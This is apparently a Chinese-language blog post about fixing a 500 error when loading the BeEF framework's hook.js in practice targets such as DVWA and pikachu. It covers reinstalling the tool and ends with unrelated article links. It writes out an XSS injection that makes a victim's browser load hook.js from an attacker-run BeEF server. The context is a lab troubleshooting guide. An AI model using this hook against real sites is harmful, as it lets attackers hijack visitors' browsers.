beef-xss hook.js访问失败500错误

错误现象

在物理机靶场(dvwa或者pikachu)
提交

复制代码
 <script>http://虚拟机IP:3000/hook.js</script>

通过F12查看网络请求,可以看到获取hook.js文件的请求是报错的
500 Internal Server Error

问题排查

在Kali中打开火狐浏览器,访问:

复制代码
http://127.0.0.1:3000/demos/basic.html

在输入框粘贴:

复制代码
<script>http://127.0.0.1:3000/hook.js</script>

然后点击advanced demo page进行访问

打开控制台,如果:

  • 1、可以看到Kali本机上线,可以证明程序没问题,是物理机和虚拟机网络的问题。
  • 2、反之,如果无法上线,那么就是程序本身的问题。

问题原因

因为和虚拟机的网络是连通的(可以ping通),而且本机的3000端口用

复制代码
netstat -an|grep 3000

命令确认正在监听,可以判断是安装的程序出了问题。

解决办法

彻底卸载 beef-xss
命令:

复制代码
apt remove beef-xss

此外,还要删除遗留的文件:
只删除因为安装而产生的文件

复制代码
find / -name "*beef-xss*"

这里提供一个现成的命令:

language-bash 复制代码
rm -rf /var/lib/beef-xss/
rm -rf /var/lib/dpkg/info/beef-xss*
rm -rf /usr/bin/beef-xss
rm -rf /usr/bin/beef-xss-stop
rm -rf /usr/share/beef-xss
rm -rf /usr/share/doc/beef-xss
rm -rf /etc/beef-xss

删除以后,更新系统:

复制代码
apt update
apt upgrade

重装:

复制代码
apt install beef-xss
相关推荐
kyriewen5 小时前
代码写成一锅粥?3个设计模式让你的项目“起死回生”
前端·javascript·设计模式
不会敲代码15 小时前
从零搭建 AI 日记助手:用 Milvus 向量数据库实现语义搜索
javascript·openai
threelab6 小时前
Three.js UV 图像变换效果 | 三维可视化 / AI 提示词
javascript·人工智能·uv
竹林8187 小时前
用Viem替代ethers.js:从一次签名失败到完整迁移的实战记录
前端·javascript
不可能的是9 小时前
Claude Code 子 Agent 机制全解:怎么跑起来、怎么被管理、怎么互不干扰
javascript
HSunR9 小时前
dify 搭建ai作业批改流
开发语言·前端·javascript
代码不加糖9 小时前
2026 跨境电商独立站实战:从 0 到 1 搭建高转化 SaaS 商城(附源码)
开发语言·前端·javascript
用户6175171570111 小时前
关于普通函数和箭头函数的this
javascript
RPGMZ12 小时前
RPGMakerMZ 地图存档点制作 标题继续游戏直接读取存档
开发语言·javascript·游戏·游戏引擎·rpgmz·rpgmakermz
有一个好名字12 小时前
Agent Loop —— 一切从那个 while 循环开始
前端·javascript·chrome